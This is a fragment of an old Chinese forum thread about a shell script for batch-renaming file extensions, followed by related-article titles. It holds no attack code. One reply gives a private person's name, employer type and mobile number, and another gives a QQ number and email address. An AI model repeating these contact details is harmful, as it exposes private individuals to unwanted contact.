hsgzr 回复于:2004-08-23 00:55:23很容易改 ,有时间我给改一下
qjayun 回复于:2004-11-30 01:14:47:shock:
你好;看过后很有感触,请你直接联系我好吗?
我手机号:13939987295
农金系统工作人员
钱军
此
静候
老查 回复于:2004-11-30 07:37:29[quote:93d78c8d1e=“qjayun”]:shock:
你好;看过后很有感触,请你直接联系我好吗?
我手机号:13939987295
农金系统工作人员
钱军
此
静候[/quote:93d78c8d1e]
我的QQ:329975661 MSN:zerozha[a]yahoo.com.cn
mychenming 回复于:2004-12-01 19:16:09流水号的问题据你的方法全面解决,非常非常的谢谢你!
原文转自:www.ltesting.net
★ FCKeditor 建立文件夹、上传文件时“.”变“”的突破漏洞预警
【shell问答16:批量修改文件名后缀Unix系统(通用10篇)】相关文章:
讲解常见木马程序藏身之地及如何清除2023-06-07
Discuz论坛安全加固WEB安全2023-01-14
linux下perl,sed,shell批量替换文件内容linux操作系统2022-10-14
服务器安全配置讲座[转]服务器教程2023-05-16
瑞星个人防火墙修复Windows系统漏洞教程2023-05-29
踩出自己的脚印经典美文2022-12-02
英语记单词方法2022-04-30
记英语单词方法2023-10-12
爆破字典生成小脚本脚本安全2022-05-06
《文件的查找与创建快捷方式》课件2022-08-21